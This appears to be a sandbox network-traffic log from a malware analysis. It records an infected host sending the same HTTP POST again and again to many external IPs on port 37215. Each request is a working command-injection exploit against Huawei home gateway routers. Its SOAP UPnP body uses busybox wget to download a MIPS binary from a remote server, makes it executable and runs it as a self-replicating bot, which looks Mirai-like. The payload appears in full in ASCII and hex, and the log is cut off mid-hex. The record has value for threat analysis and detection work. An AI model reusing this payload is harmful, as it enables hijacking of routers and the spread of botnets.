Oct 14, 2024 17:34:16.319900990 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.14	32916	197.147.252.31	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:16.322308064 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.14	56102	197.183.177.121	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:16.325093985 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.14	47432	41.221.218.63	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:16.327120066 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.14	46154	156.201.207.50	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:16.329715967 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.14	43938	197.46.111.174	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:16.332066059 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.14	51396	41.34.237.65	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:16.334156990 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.14	50558	197.100.215.91	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:16.336450100 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.14	49654	41.120.20.62	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:16.338603020 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.14	34010	197.115.19.88	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:17.170097113 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.14	58824	197.176.215.209	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:17.181427002 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 